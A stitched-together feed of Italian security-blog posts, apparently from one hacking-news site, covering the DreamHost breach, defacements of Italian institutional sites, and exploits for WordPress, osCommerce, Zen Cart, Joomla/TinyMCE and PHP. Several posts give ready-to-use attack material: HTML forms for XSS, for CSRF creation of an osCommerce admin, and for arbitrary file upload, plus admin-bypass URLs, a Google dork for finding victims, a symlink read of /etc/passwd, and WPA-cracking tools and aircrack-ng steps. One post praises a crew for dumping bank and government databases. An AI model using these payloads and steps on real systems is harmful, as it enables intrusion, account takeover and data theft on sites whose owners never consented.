L’azienda ha provveduto ad effettuare un cambio password massivo che ha richiesto un po’ più del previsto dato che attualmente DreamHost gestisce oltre 1 milione di siti web. DreamHost ha anche pregato i propri Clienti di cambiare le password delle caselle email utilizzate come riferimento su DreamHost.

A questo link è possibile vedere gli aggiornamenti effettuati in tempo record da DreamHost:

http://www.dreamhoststatus.com/2012/01/20/changing-ftpshell-passwords-due-to-security-issue/

dove si può riscontrare che l’intervento di cambio password è ormai terminato.

Questo il testo dell’email inviata ai Clienti:

 IMPORTANT INFORMATION: We are writing to let you know that there may have been illegal and unauthorized access to some of your passwords at DreamHost today. Our security systems detected the potential breach this morning and we immediately took the defensive precaution of expiring and resetting all FTP/shell access passwords for all DreamHost customers and their users. There are three different types of passwords at DreamHost: a Web panel password (for logging in to the panel), e-mail passwords, and FTP/shell access passwords. Only the FTP/shell access passwords appear to have been compromised by the illegal access. Web panel passwords, e-mail passwords, and billing information for DreamHost customers were not affected or accessed. Refer to the following DreamHost status post for details:http://www.dreamhoststatus.com/2012/01/20/changing-ftpshell-passwords-due-to-security-issue/

IMPORTANT ACTION REQUIRED:

1. To create a new FTP/shell access password for your DreamHost account, please log in to your DreamHost Web panel (https://panel.dreamhost.com/), select “Manage Users” in the top left, then select “Edit” next to each user, and type in a new password. Make sure you click “Save Changes” at the bottom of the page.

2. We are also requesting that you change your e-mail password. We are not enforcing this change at this time as we do not believe that e-mail passwords were compromised. However we strongly recommend that you change your e-mail password as a precaution. To change the passwords for your e-mail users or yourself, log in to the DreamHost panel at (https://panel.dreamhost.com/), select “Manage Email” in the top left, select “Edit” next to each e-mail user address, and choose a new password for each. Make sure you click “Save Changes” at the bottom of the page.

We sincerely apologize for any inconvenience this may cause. If you have any additional questions about this process, please contact us through the support page in the panel.

Note that DreamHost will never ask you for personal or account information in an e-mail. Please exercise caution if you receive any other e-mails that ask for personal information or direct you to a Web site where you are asked to provide personal information.

Sincerely,

The DreamHost Team

Come spiega Simon Anderson, CEO di DreamHost, in risposta ad un cliente:

our systems have stored and used encrypted passwords for a number of years, however the hacker found a legacy pool of unencrypted FTP/shell passwords in a database table that we had not previously deleted. We’ve now confirmed that there are no more legacy unencrypted passwords in our systems. And we’re investigating further measures to ensure security of passwords including when a customer requests their password by email (this was not the issue here, though). Re your shell accounts, I’d suggest that you select a new password just to be sure.

l’hacker ha avuto accesso ad una Tabella di un Database che per errore conteneva alcuni account Ftp e Shell non criptati che han poi permesso l’accesso a tutti i dati dei Clienti.

Per ora non ci sono state azioni/attacchi massivi verso gli account hackerati  e con il cambio password e la patch della vulnerabilità il problema dovrebbe essere risolto!

Guardando l’archivio degli hack del pr0_alpha_team sul sito Zone-H si vede che da Novembre 2011 ad oggi hanno già operato numerosi attacchi verso siti di Comuni e similari.
Questo ultimo è degno di nota dato che, come indicato, si tratta di vittime illustri dalle quali sono state sottratte informazioni dai loro Database.

L’attacco è stato possibile grazie ad una vulnerabilità di tipo Sql Injection che ha permesso di ottenere pieno accesso ai database e di effettuarne un Dump degli stessi.

A dimostrazione di ciò i membri della crew hanno reso disponibili alcuni stralci dei Database violati:
- Dump Db Italia.gov.it
- Dump Db Bancamarche.it
- Dump Db Ufficio Italiano Brevetti
- Dump Db Università di Siena

Come fa giustamente notare Luca Mercatanti gli attacchi verso siti istituzionali o verso Banche mettono ancora una volta in evidenza l’incompetenza e la superficialità con cui viene gestita la sicurezza informatica nel nostro paese. Altra cosa allarmante è come non sia stata data alcuna notizia di questa azione. Probabilmente il sito di una banca violato non è cosa importante per i nostri giornalisti.

Leggendo la loro pagina Twitter si deduce che non si fermeranno quindi non resta che aspettare e vedere quali altri siti verrano colpiti.

Complimenti al pr0_alpha_team!

]]> http://www.capn3m0.org/siti-istituzionali-violati-pr0_alpha_team.html/feed/ 1 http://www.capn3m0.org/wordpress-3.3-0-day-reflected-xss-vulnerability.html http://www.capn3m0.org/wordpress-3.3-0-day-reflected-xss-vulnerability.html#comments Tue, 03 Jan 2012 08:48:31 +0000 capn3m0 http://www.capn3m0.org/?p=4058 A pochi giorni dal rilascio della nuova versione di WordPress, la 3.3, due hacker indiani hanno individuato una vulnerabilità che permette di eseguire codice XSS sfruttando un problema nel form di pubblicazione dei commenti.

Praticamente per eseguire l’exploit è necessario per prima cosa pubblicare un commento sul WordPress vittima.

Una volta fatto ciò è necessario creare una pagina contente il seguente codice e pubblicarla in un proprio spazio Web.

<html>
<title>Wordpress 3.3 XSS PoC</title>
<body>
<form name="XSS" id="XSS" action="http://192.168.1.102/wordpress/wp-comments-post.php?</style><script>document.write(Date())</script><style>" method="POST">
<input type="hidden" name="author" value="replace me"/>
<input type="hidden" name="email" value="replace me"/>
<input type="hidden" name="url" value=""/>
<input type="hidden" name="comment" value="replace me"/>
<input type="hidden" name="submit" value="Post Comment"/>
<input type="hidden" name="comment_post_ID" value="replace me"/>
<input type="hidden" name="comment_parent" value="0"/>
<input type="button" value="Click Me" />
</style></form>
</body>
</html>

Al posto di “replace me” vanno inseriti gli stessi dati usati nel precedente commento e al posto di “http://192.168.1.102/wordpress/” va inserito il riferimento del sito vittima.

A questo punto basterà cliccare sul tasto “Click me” e lo script provvederà nuovamente a pubblicare il post. Trovandolo già pubblicato genererà un errore di cotenuto duplicato ma il codice Javascript inserito nel “form action” della nostra pagina verrà eseguito.

Nell’esempio il codice Javascript da eseguire era il seguente:

<script>document.write(Date())</script>

che serve a visualizzare la data di sistema e, come si vede dalla seguente immagine,viene correttamenete eseguito dimostrando la vulnerabilità XSS.

In attesa di sviluppi e di una patch credo sia utile attivare temporaneamente un captcha o similare per i commenti così da evitare o almeno diminuire la possibilità di venire attaccati.

Link di riferimento

Zero Day Reflected Cross Site Scripting vulnerability in WordPress 3.3 – The Hackers News
Sorgenti Pastebin.com

L’utente swsooue l’ha pubblicato tramite il Forum della Community WifiShark in questo post.

In questa ultima versione del Teletu Wpa Finder sono stati aumentati i macig numbers e di conseguenza sarà possibile calcolare le chiavi Wpa di un numero maggiore di SSID.

Potete effettuare il download dal seguente link:

TeleTu Wpa Finder 1.3 DOWNLOAD

Ringraziamo la community WifiShark per la passione e la dedizione nello studio delle reti Wireless.

N.B.

Ricordo che l’accesso abusivo ad un sistema informatico o telematico è un reato perseguibile a termine di legge (art. 615-ter c.p.).

Ricordo che la detenzione e la diffusione abusiva di codici di accesso a sistemi informatici o telematici è un reato penale perseguibile secondo la legge 615.

L’utilizzo di quanto esposto è da riferirsi a un test di sicurezza sulla propria rete o su una rete di cui il proprietario abbia espressamente dato il libero consenso al fine di giudicarne la sicurezza e porre rimedio ad eventuali vulnerabilità.

In questa prima versione sono presenti tutti i Magic Numbers aggiornati a Settembre 2011 ed è possibile calcolare la Wpa sia inserendo il solo SSID Alice (Es. Alice-12345678) sia inserendo SSID più Mac Address del Modem.

Per ora vi invitiamo a testare il nostro tool per il calcolo delle Wpa Alice direttamente online e qualora dovessero verificarsi anomalie o errori contattateci.

PROVATELO QUI

N.B.

Ricordo che l’accesso abusivo ad un sistema informatico o telematico è un reato perseguibile a termine di legge (art. 615-ter c.p.).

Ricordo che la detenzione e la diffusione abusiva di codici di accesso a sistemi informatici o telematici è un reato penale perseguibile secondo la legge 615.

L’utilizzo di quanto esposto è da riferirsi a un test di sicurezza sulla propria rete o su una rete di cui il proprietario abbia espressamente dato il libero consenso al fine di giudicarne la sicurezza e porre rimedio ad eventuali vulnerabilità.

Il tool è stato pubblicato a questo link e per l’occasione abbiamo provveduto a ri-organizzare il Menu in alto. Allo stato attuale è stata creata la voce Tools nel quale sono stati raggruppati tutto ciò che è abbiamo sviluppato in questi anni.

Al momento troverete:

- Fastweb Wpa Calculator On Line per il calcolo delle chiavi Wpa dei Router Fastweb

- Md5 Encrypt/Decrypt Tool per criptare e decriptare gli hash MD5 usati prevalentemente per le passwords

- Wp-users-page plugin per WordPress per generare la lista dello Staff

A breve provvederemo a sviluppare anche lo script per il calcolo on line delle chiavi Wpa di Alice e di TeleTu.

Per ora vi invitiamo a testare il nostro tool per il calcolo delle Wpa Fastweb direttamente online e qualora dovessero verificarsi anomalie o errori contattateci.

PROVATELO QUI

N.B.

Ricordo che l’accesso abusivo ad un sistema informatico o telematico è un reato perseguibile a termine di legge (art. 615-ter c.p.).

Ricordo che la detenzione e la diffusione abusiva di codici di accesso a sistemi informatici o telematici è un reato penale perseguibile secondo la legge 615.

L’utilizzo di quanto esposto è da riferirsi a un test di sicurezza sulla propria rete o su una rete di cui il proprietario abbia espressamente dato il libero consenso al fine di giudicarne la sicurezza e porre rimedio ad eventuali vulnerabilità.

Questa versione rispetto alle precedenti grazie all’aggiornamento del file “config.txt” permetteva di analizzare un numero maggiori di reti che fino a qualche tempo fa non permettevano di calcolare la chiave Wpa.

La nuova versione di cui andiamo a parlare oggi, rilasciata da qualche ora, è la versione 1.7 del Wpa Tester e integra il supporto al calcolo delle reti del Provider TeleTu finora rimasto in secondo piano.

Per quanto riguarda il cracking delle reti Alice e Fastweb non è stato aggiornato nulla pertanto l’unica vera differenza rispetto alla precedente versione è appunto il supporto a TeleTu.

Ancora una volta ringraziamo Francesco Pompili per il suo lavoro nello sviluppo di Wpa Tester.

Wpa Tester 1.7 DOWNLOAD

AGGIORNAMENTO 27/11/2011 – Le Wpa delle reti wireless Fastweb possono essere calcolate direttamente on line tramite il tool Fastweb Wpa Calculator OnLine.

AGGIORNAMENTO 29/11/2011 – Le Wpa delle reti wireless Alice possono essere calcolate direttamente on line tramite il tool Alice Wpa Calculator OnLine.

N.B.

Ricordo che l’accesso abusivo ad un sistema informatico o telematico è un reato perseguibile a termine di legge (art. 615-ter c.p.).

Ricordo che la detenzione e la diffusione abusiva di codici di accesso a sistemi informatici o telematici è un reato penale perseguibile secondo la legge 615.

L’utilizzo di quanto esposto è da riferirsi a un test di sicurezza sulla propria rete o su una rete di cui il proprietario abbia espressamente dato il libero consenso al fine di giudicarne la sicurezza e porre rimedio ad eventuali vulnerabilità.

Per gli sviluppatori di OsCommerce è davverò un brutto periodo dato che in neanche un mese tutti le versioni attualmente “stabili” sono state bucate da molteplici vulnerabilità. Nella release specifica, che ripetiamo si tratta di una alpha, sono state individuate vulnerabilità di tipo Xss, Full Path Disclosure, Local File Inclusion e XSRF.

La Full Path Disclosure consiste nell’interrogare alcuni file del Template di OsCommerce che, andando in errore, mostrano a video la full path della loro posizione sul Server. Con questa sola informazione si può fare poco ma, anche in questo caso, se unita ad altri tipi di attacchi diventa una utile informazione. La XSS permette di iniettare codice JavaScript sfruttando una falla del file “products.php” mentre la Local File Inclusion consente di richiamare file presenti sul Server sfruttando la procedura di disinstallazione moduli del Cms che non verifica opportunamente i parametri passati e permette di accettare in input qualsiasi path raggiungibile.

Anche in questo caso c’è una falla più grave delle altre e a mio avviso è la XSRF che permette di inviare comandi all’applicativo senza che questi vengano verificati in alcun modo. Nel caso specifico sarà possibile creare un nuovo Admin sull’OsCommerce.

Basterà creare una pagina “.html” contenente il seguente codice:

<html>
<body>
<form action="http://<sito vittima>/admin/index.php?administrators&action=save" method="post">
<input type="text" name="user_name" value="<nomeutente>">
<input type="text" name="user_password" value="<password>">
<input type="text" name="modules[]" value="0?>
<input type="hidden" name="subaction" value="confirm"/>
<input type="submit" value="Save">
</form>
</body>
</html>

Ovviamente dovrete sostituire i seguenti parametri:

<sito vittima> con il dominio del sito in cui si vuole creare l’account

<nomeutente> con il nome utente del nuovo Admin

<password> con la password da associare al nuovo Admin

Una volta creata la pagina richiamatela dal vostro Browser e cliccate su “Save”.

Se tutto è andato a buon fine accedendo all’url:

http://<sito vittima>/admin/

potrete loggarvi come Admin con i dati appena inseriti.

Per informazioni dettagliate vi rimando al link del Dr. Alberto Fontanella autore dell’articolo.

osCommerce v3.0a5 [ Multiple Vulnerabilities ]

La versione vulnerabile è l’ultima disponibile ossia la 1.3.9h e presenta vulnerabilità di vario tipo: Full Path Disclosure, Reflected XSS, Stored XSS e Arbitrary File Upload.

La vulnerabilità Full Path Disclosure permette, se la gestione degli errori è configurata per mostrarli a video, di conoscere la path assoluta dell’applicativo. Di per sé non è una falla che consente di effettuare alcun tipo di azione ma l’informazione che si ottiene potrebbe essere utile se unita ad attacchi che vanno a scrivere sul FileSystem o similari. Le due XSS, invece, non affliggono l’attuale 1.3.9h ma tutte le versioni precedenti. Le vulnerabilità sono localizzate nel campo “Quantità” del carrello che permette l‘injection di codice XSS e nell’Area Amministrativa “Location/Taxes”. Per quest’ultima, quindi, si presume che si abbia già l’accesso Admin.

L’ultima vulnerabilità, la più grave, riguarda invece il componente Banner (banner_manager.php) che, così come per OsCommerce, permette di effettuare l’upload di files che verranno salvati nella cartella “images”.

Per informazioni dettagliate vi rimando al link del Dr. Alberto Fontanella autore dell’articolo.

Zen Cart <= v.1.3.9h [ Multiple Vulnerabilities ]

A distanza di 2 anni i programmatori, dopo una lunga latitanza, hanno rilasciato 2 nuove versioni: la 2.3.1 e la nuova 3.0.1. Il rilascio delle due nuove versioni non ha avuto molto risalto e tra gli utilizzatori di questo applicativo pochi hanno provveduto ad aggiornare.

Lo scorso 14 Maggio, però, è stata scoperta una nuova falla (purtoppo molto simile alla precedente) che permette l’upload di files nella cartella “/images” senza dover utilizzare tecniche particolari o rubare i dati di Amministratore.

Come riportato qui il componente Banner (banner_manager.php) della nuova versione 2.3.1 di OsCommerce soffre di una vulnerabilità che consente di uploadare files sul sito “vittima” semplicemente creando sul proprio PC una pagina html con il seguente codice:

<form name=”new_banner” action=”http://site/path/admin/banner_manager.php/login.php?action=insert” method=”post” enctype=”multipart/form-data”><br>
<input type=”file” name=”banners_image”><br>
<input name=”submit” value=” Save ” type=”submit”></form>

Basterà sostituire a “site/path” il dominio e l’eventuale sottocartella del sito basato su questo Cms e salvare il file in formato “.html”.

Apritelo con il vostro Browser e vi troverete davanti un form di upload file.

Scegliete il vostro file e fate l’upload; una volta terminata l’operazione potrete interrogare il file richiamando l’url nel seguente modo:

http://site/path/images/<fileinviato.php>

Analizzando alcuni casi di utilizzo di questa vulnerabilità ho riscontrato casi di iniezione di virus/malware come già riscontrato sempre nel 2009.

Non appena avrò maggiori informazioni provvederò a tenervi aggiornati.

La vulnerabilità è particolarmente grave perchè colpisce piú del 99% dei device attivi, ne risultano immuni infatti solo le versioni Gingerbread 2.3.4 e Honeycomb 3.0 e 3.1.
Per fortuna, in attesa di ricevere il fix nei prossimi giorni gli utenti potranno comunque proteggersi mettendo in pratica alcuni accorgimenti.
Il problema di sicurezza si verifica solo se un utente si collega ad una rete wifi libera, quindi chiunque si connetta abitualmente ad hotspot o lo abbia fatto di recente farebbe meglio a disattivare l’opzione di connessione automatica alle reti wifi ed eliminando il consenso a quelle utilizzate di recente, nel caso la rete free fosse di proprietà il consiglio é ovviamente quello di impostare una protezione, ma questo é una buona norma sempre, non solo in casi di vulnerabilità come quella di cui stiamo parlando in questo articolo.
Allo stato attuale, in attesa della patch di Google, il rischio che si corre é quello che un utente non autorizzato possa accedere ai nostri dati contenuti nel calendario e nei contatti di Android perché lo scambio di autorizzazione tra il client e server non avviene tramite protocollo https (Hyper Text Transfer Protocol Secure), ma tramite semplice http.
Tuttavia Google sta valutando anche la connessione alle librerie di Picasa che sembrerebbero anch’esse affette dalla stessa vulnerabilità, un motivo in piú per diffidare delle reti aperte fino a che non sarà cessato del tutto questo giustificato allarme.

Rim

Come saprete il tablet di Research In Motion è basato sul rivoluzionario e solido sistema operativo QNX, grazie al quale gode forse del miglior multitasking e prestazioni in commercio.

Visto che tale SDK non è ancora stato rilasciato sembrava impossibile poter sviluppare software senza un tale strumento di programmazione, ma uno sviluppatore di nome Adam Bell ha dimostrato come bypassare l’ambiente Adobe Air su cui è basata l’interfaccia grafica del tablet.

Adam sostiene che, non senza alcuni tweak, è possibile installare su Playbook direttamente le app sviluppate  per QNX  tramite il suo ambiente di programmazione (questo disponibile invece da tempo) chiamato Neutrino SDP e avviarle nativamente sul tablet Rim.

Tutto ciò è possibile perchè l’ambiente di sviluppo desktop  di QNX contiene un cross-compiler, cioè un compilatore in grado di creare eseguibili per varie piattaforme , da quella i386 a quella ARM.Proprio quest’ultima è alla base dei moderni smartphone e tablet; Tegra2 e tutti i moderni chip dualcore in uscita nel 2011 sono infatti basati su una architettura ARM Cortex A9 o derivata, come la stessa CPU di Texas Instruments che muove il Blackberry Playbook.

Le applicazioni possono essere quindi scritte in C/C++ , compilate ed inviate al tablet Rim per essere eseguite.

Non si è ancora giunti ad un calcolo dell’algoritmo ma grazie allo studio di Pandarossa si potrà arrivare a qualcosa.

Al fine di aiutarlo in questa fase è necessario fornirgli informazioni per avere una base di dati vasta per arrivare al reverse completo dell’algoritmo quindi se avete info di un router Hauwei Infostrada WiFi potete contattarlo e comunicarglieli.

Condividete!

Wpa Infostrada – Pandarossa

Recentemente abbiamo pubblicato alcuni articoli relativi a dei semplici tool che permettevano di calcolare le chiavi Wpa dei Router WiFi Alice e Fastweb. Come si è visto dai commenti ricevuti, alcuni utenti sono rimasti delusi dal fatto che non tutte le reti Alice fossero calcolabili o perché le password generate non sempre erano funzionanti.

Prendendo spunto da queste osservazioni, ho deciso di pubblicare questo tutorial (è solo il primo di una serie) in cui descrivo lo strumento che permette di effettuare il “lavoro sporco”, ossia il penetration test delle reti WiFi: aircrack-ng.

Aircrack-ng è una suite free multipiattaforma che mette a disposizione 17 tools con diversi scopi finalizzati al cracking delle reti Wireless.

Di questi tools ne analizzeremo solo alcuni ed in futuro provvederemo a pubblicare articoli ad hoc per descriverne tutte le funzionalità e configurazioni.

• airmon-ng – Permette di variare le modalità del device di rete permettendo di impostarlo in modalità “monitor” adatta per effettuare lo sniffing dei pacchetti. Consente inoltre di creare dispositivi di rete virtuali configurati su un determinato canale o un determina BSSID.
• airodump-ng – E’ il tool che permette di monitorare il traffico captato dalla scheda WiFi ed eventualmente di salvarlo su file “.pcap” che verranno utilizzati in seguito per ottenere le password (sniffing).
• aireplay-ng – Con questo software si svolge la parte principale dell’attacco ad una rete. In generale si tratta di un generatore di pacchetti che, sfruttando le 7 modalità di injection, permette di effettuare alcune operazioni sulla rete testata per ottenere le informazioni necessarie al successivo crack.
• aircrack-ng – E’ il programma che effettua la vera e propria operazione di cracking permettendo di ottenere le chiavi Wep, Wpa e Wpa2 della rete sniffata. Nel caso del cracking Wpa e Wpa2 è necessario disporre di un dizionario tramite il quale effettuare un attacco di tipo “bruteforce”.

Ebbene si, dei 17 tools indicati in precedenza ne bastano solo 4 per ottenere dei risultati.

Requisiti

Come software abbiamo visto che basterà utilizzare la suite aircrack-ng. Questa può essere installata su qualsiasi sistema ma consiglio prevalentemente Mac Os o Linux poiché necessita di particolari tipi di drivers che su Windows non sono completamente funzionanti e non su tutte le schede WiFi.

A livello Hardware è necessario verificare che la scheda Wireless che andremo ad utilizzare possieda un Chipset supportato da questa suite. A questo link potete trovare la Tabella ufficiale dei Chipset supportati mentre per conoscere quello montato sul vostro Pc vi basterà utilizzare il comando “airmon-ng” o consultare le specifiche del produttore della scheda.

Concetti Base

Dopo aver descritto l’occorrente passiamo a parlare di come funzionano e si attaccano le varie tipologie di chiavi di sicurezza.

WEP

La chiave WEP (Wired Equivalent Privacy) ormai ritenuta molto vulnerabile e sconsigliata come sistema di sicurezza si basa su un algoritmo che mixa due chiavi di diversa lunghezza criptandoli in due modi diversi. Durante le trasmissioni in chiaro a queste chiavi vengono aggiunti 24 bit definiti IVS che, come scopriremo in seguito, sono la causa della facilità con cui tali chiavi vengono crackate.

In maniera molto semplicistica il concetto è che durante lo sniffing delle trasmissioni tra Router e il Client (per Client intendo il vero utilizzatore/proprietario della rete) otteniamo dei pacchetti contenenti parte della chiave (Pre Shared Key) e gli IVS che vengono aggiunti durante la trasmissione.

Facendo elaborare queste due informazioni al tool “aircrack-ng” si può ottenere la password in chiaro in pochi minuti. Fattore determinante sono il numero di IVS sniffati.

Esempio di attacco:

1. Si attiva lo sniffing sulla Rete vittima (airodump-ng);
2. In contemporanea si lanciano di verse sessioni di “aireplay-ng” utilizzando diverse modalità di attacco. In questo modo da una parte facciamo cadere la connessione al Client correttamente connesso (DeAuth ) mentre dall’altra cerchiamo di forzare una finta autenticazione con il nostro dispositivo (FakeAuth). Con un attacco ARP Replay, invece, generiamo maggiore traffico e, di conseguenza, un numero maggiore di IVS.
3. A questo punto una volta sniffata una sessione di autenticazione Router/Client e un buon numero di IVS possiamo far elaborare il file sniffato a “aircrack-ng” che, dopo poco tempo, ci restituirà la chiave Wep in chiaro.

WPA e WPA2

Dopo il fallimento della WEP venne introdotta la codifica WPA (Wi-Fi Protected Access) che invece di una chiave precondivisa introdusse una chiave Temporanea (Temporal Key Integrity Protocol o TKIP) e un numero maggiore di bit rendendo vani gli attacchi che permettevano il cracking del WEP.

Successivamente dato che venne dimostrata la vulnerabilità anche della WPA venne introdotta la WPA2 che, ad oggi, risulta essere completamente sicuro.

Esempio di attacco:

1. Si attiva lo sniffing sulla Rete vittima (airodump-ng);
2. In contemporanea si lancia una o più sessioni di “aireplay-ng” in cui, utilizzando la modalità “DeAuth” facciamo cadere la connessione al Client correttamente connesso.
3. A questo punto una volta sniffata la sessione di riconnessione Client/Router (handshake) possiamo far elaborare il file sniffato a “aircrack-ng” in modalità “bruteforce” tramite dizionario. Se nel dizionario abbiamo la password WPA/WPA2 ci verrà segnalata altrimenti non c’è modo di individuarla.

Nel prossimo articolo analizzeremo nel dettaglio un attacco ad una rete WEP.

N.B.

Ricordo che l’accesso abusivo ad un sistema informatico o telematico è un reato perseguibile a termine di legge (art. 615-ter c.p.).

Ricordo che la detenzione e la diffusione abusiva di codici di accesso a sistemi informatici o telematici è un reato penale perseguibile secondo la legge 615.

L’utilizzo di quanto esposto è da riferirsi a un test di sicurezza sulla propria rete o su una rete di cui il proprietario abbia espressamente dato il libero consenso al fine di giudicarne la sicurezza e porre rimedio ad eventuali vulnerabilità.

Breve videoguida all’utilizzo di XCode SQL Injection Scanner che permette di filtrare tramite Dork su Google eventuali siti vulnerabili a Sql Injection e, successivamente, lancia degli attacchi standard per verificare quali effettivamente risultano vulnerabili.

Un buon tool che permette di risparmiare tempo durante i pentest!

Read the rest here:
XCode SQL Injection Scanner

Read the original here:
Servizio delle Iene sulla Sicurezza Informatica di un Provider Italiano

Original post:
「Neuromancer」Hacking sites with Joomla (Universidade USP)

Ciao a tutti, dopo diverso tempo dall’ultimo post pubblico una vulnerabilità che potrà creare non pochi problemi agli utilizzatori del noto Cms Joomla.

E’ stata pubblicata da poco una vulnerabilità di tipo XSS per tutte le versioni < =1.5.20, ossia tutte le versioni attualmente pubblicate.

Tale exploit sfrutta una falla nella verifica delle variabili GET encodate eseguendo quindi il codice Javascript che si passa all’applicativo.

Full Discolsure Advisories

Al seguente video si potrà vedere un Proof of Concept dell’attacco Xss.

Proof of Concept by yehg.net

Un malintenzionato potrebbe sfruttare tale falla per rubare i cookie degli utenti loggati, Administrator compreso, e sfruttarli per modificare pagine o uploadare shell malevole che permetterebbero qualsiasi operazione nello spazio del sito vittima. Una volta rubati i cookie di Admin, infatti, basterà andare nella pagina di edit di uno dei template di default, di solito ‘beez’, e successivamente editare la pagina con il codice di una shell php quali c99 o r57.

Provvedero’ ad aggiornare il post quanto prima con tutti i riferimenti e i dettagli (sono in treno con l’app WordPress per Blackberry ).

AGGIORNAMENTO #1
Lo staff di Joomla ha provveduto a rilasciare la nuova versione dove tale problema e’ stato fixato.

Chiunque utilizzi questo Cms e’ invitato ad effettuare l’upgrade alla versione 1.5.21

Joomla 1.5.21 – Official Site

Joomla Security News

Di fatto questa vulnerabilità da la possibilità di leggere aree/file del WebServer non autorizzate quali il file “/etc/passwd” e similari.

L’applicazione pratica e più semplice di tale vulnerabilità è il seguente codice:

< ?php
 symlink("/etc/passwd", "prova.txt");
 ?>

Se il “safe_mode” del Php era disabilitato nel proprio spazio sarebbe stato creato un link simbolico dal nome “prova.txt” che puntava al contenuto di “/etc/passwd”. In questo modo richiamando dal browser il link simbolico nel seguente modo:

http://<dominio>/prova.txt

avremmo visualizzato a video il contenuto del file “/etc/passwd”. A seconda dell’Hosting questo file può contenere anche le password dell’account web del Cliente e pertanto la gravità della vulnerabilità è elevata.

Nel caso, invece, il safe_mode del Php fosse stato attivo sarebbe stato visualizzato un messaggio di errore che indicava l’impossibilità di eseguire l’operazione a causa della mancanza dei permessi di accesso al file “/etc/passwd”.

Ho provato ad applicare questa tecnica su diversi Hosting dove ho sitarelli o spazi per fare dei test e in base ad alcune configurazioni di sicurezza (privilegi, followsymlink,etc.) si poteva o meno accedere a dati sensibili come, per esempio, visualizzare i file di configurazione di altri domini presenti sullo stesso server dove siamo noi.

Questa vulnerabilità del Php ha fatto nascere alcune discussioni legate ai vari attacchi di massa che si sono verificati lo scorso anno su vari Hosting condivisi noti e meno noti. Dal mio punto di vista è plausibile pensare, quindi, che questa falla abbia dato la possibilità di accedere e violare centinaia di spazi Web rubando informazioni preziose per eventuali ulteriori attacchi.

Link correlati:

Exploit

PHP 5.2.12/5.3.1 symlink() open_basedir bypass – SecurityReason.com

Symlink Attack – HTML.it

Questa volta si tratta di una Remote Command Execution che sfruttando una vulnerabilità dell’utilizzatissimo TinyMCE permette di uploadare file che, teoricamente, dovrebbero essere proibiti. La vulnerabilità è stata scoperta dall’italiano Luca “daath” De Fulgentis che ha illustrato nel dettaglio l‘exploit nel suo blog.

Dal sito di Offensive-Security, che andrà a sostituire il noto Milw0rm, ormai chiuso, è possibile scaricare l’exploit Php che consente di uploadare qualsiasi tipo di file semplicemente eseguend l’exploit php dalla propria shell.

Come detto in precedenza l’hack sfrutta una vulnerabilità del TinyMCE. Questo editor utilizza un array dove vengono dichiarate le estensioni dei file che non possono essere uploadate ma modificando opportunamente gli Header HTTP è possibile uploadare un file con un’estensione accettata e successivamente far effettuare il rename del file allo stesso TinyMCE.

Ovviamente vi è un sistema di “sicurezza” nello script dell’editor ma, purtroppo, si tratta di una semplice verifica di un hash MD5 generato dalla concatenazione della path assoluta con una variabile chiamata “$tinybrowser['obfuscate']” che è settata di default a “s0merand0mjunk!!!111″ nel file “config_tinybrowser.php” che trovate al seguente percorso:

http://<path_joomla>/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/config_tinybrowser.php

Questo invece il sistema di “sicurezza” (o meglio, la vulnerabilità) del file “upload_file.php” che verifica l’Hash MD5:

L’exploit creato da daath una volta indicato il “sito vittima” per prima cosa provvede a bypassare questo meccanismo effettuando un Path Disclosure. Con questa tecnica si interroga un file in modo non corretto così da far mostrare a video un tipico errore PHP che riporta la path assoluta del file in errore. Una volta ottenuta questa informazione si potrà ricreare l’Hash MD5 (path assoluta + ‘s0merand0mjunk!!!111′) tramite il quale poter lanciare una POST Http per l’upload del file. Il file, ovviamente, dovrà avere un’estensione valida come, ad esempio, “.jpg”.

Una volta effettuato l’upload si effettua una seconda interrogazione Http inviando i dati necessari a far eseguire il rename del file da “.jpg” (o qualunque estensione è stata scelta) a “.php”.

A questo punto si avrà una shell sul sito e si potra effettuare qualsiasi azione sia consentita all’utente web del sito vittima.

Come detto all’inzio dell’articolo provvedete sempre ad aggiornare alle ultime release le vostre applicazioni web!

Come potrete verificare personalmente tramite questo Proof Of Concept basterà richiamare l’url dell’Area Admin con una particolare sintassi e il gioco è fatto e si potranno visionare gli ordini, i clienti, le email.

Già verso agosto fu scoperta una grave falla nel meccanismo di autenticazione che consentiva, tramite opportune interrogazioni HTTP (http request) di eseguire comandi lato server e, sfruttando alcuni file dell’osCommerce stesso,  di uploadare file, shell etc.

Per maggiori informazioni circa questa vulnerabilità andate a questo link.

Per quanto riguarda la falla di cui vi parlo oggi vi illustro di seguito come sfruttarla e quali informazioni si possono ottenere. Per prima cosa è necessario trovare un “sito vittima“  e per fare questo ci viene incontro, ancora una volta, Google!

Cercate su Google la seguente stringa:

“Powered by OsCommerce”

(compresa di virgolette)

In questo modo il Motore di Ricerca ci mostrerà solo i siti che contengono esattamente quella frase e, quindi, con molta probabilità siti basati su OsCommerce.

A questo punto aprite qualche sito e verificate se richiamando l’area “admin” vi viene mostrata correttamente la pagina di login.

L’area admin di default è raggiungibile al seguente url:

http://<dominio_con_oscommerce>/admin

Se l’Admin non ha cambiato il nome della cartella vi apparirà una schermata simile a questa.

A questo punto si sfrutterà la vulnerabilità nell’autenticazione per bypassarla semplicemente digitando i seguenti url:

/admin/orders.php/login.php
/admin/mail.php/login.php
/admin/mail.php/login.php?fooled
/admin/mail.php/login.php?action=send_email_to_user

Cosa succede richiamando questi url? (a voi scoprirlo!)

Si accederà in visualizzazione alle funzionalità di quei file e quindi, nell’esempio citato sopra, si potranno leggere gli ordini e vedere i clienti con le relative email.

Questo articolo è solamente un Proof Of Concept e pertanto non deve portare ad alcuna azione malevola.

Per chi utilizza OsCommerce consiglio o di valutare il passaggio a tutt’altro applicativo, visto anche che il progetto è ormai fermo, oppure di andare sul Forum di OsCommerce dove suggeriscono una semplice ma efficace (?) fix al problema.

Link correlati:

OS Commerce authentication bypass by Stuart Udall

Post dal Forum di OsCommerce

La notizia non era molto dettagliata poiché la vulnerabilità era stata annunciata molto genericamente come una vulnerabilità che permetteva di “aggirare le limitazioni ai nomi dei file in determinate configurazioni Apache”. Ora che è stata patchata, come spesso accade, iniziano a trovarsi maggiori informazioni e Proof of Concept.

In realtà la vulnerabilità permette di uploadare file bypassando il controllo della tipologia di file e permettendo, quindi, di uploadare script php e similari che possono poi essere richiamati da colui che attacca. Affligge tutte le versioni inferiori alla 2.8.5 (compresa) perciò provvedete quanto prima ad aggiornare il vostro blog.

